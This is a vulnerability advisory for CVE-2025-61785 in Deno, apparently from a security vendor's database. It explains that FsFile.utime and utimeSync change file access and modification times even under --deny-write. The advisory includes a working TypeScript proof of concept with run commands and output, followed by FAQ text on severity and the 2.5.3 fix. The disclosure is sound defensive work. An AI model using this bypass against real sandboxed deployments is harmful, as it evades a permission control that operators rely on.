CVE-2025-61785

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt

// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();
    
    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
    
    const fileInfoAfter = await file.stat();
    
    
    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();
    
    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
    
    const fileInfoAfter = file.statSync();
    
    
    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())
    
    
    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output:

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1

PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2

PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
               ^
    ...

• deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
         ^
    ...

Permission model bypass

CVE-2025-61785 has a CVSS score of 3.3 (Low). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.5.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-61785? CVE-2025-61785 is a low-severity security vulnerability in deno (rust), affecting versions < 2.5.3. It is fixed in 2.5.3.
2. How severe is CVE-2025-61785? CVE-2025-61785 has a CVSS score of 3.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of deno are affected by CVE-2025-61785? deno (rust) versions < 2.5.3 is affected.
4. Is there a fix for CVE-2025-61785? Yes. CVE-2025-61785 is fixed in 2.5.3. Upgrade to this version or later.
5. Is CVE-2025-61785 exploitable, and should I be worried? Whether CVE-2025-61785 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-61785 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-61785? Upgrade deno to 2.5.3 or later.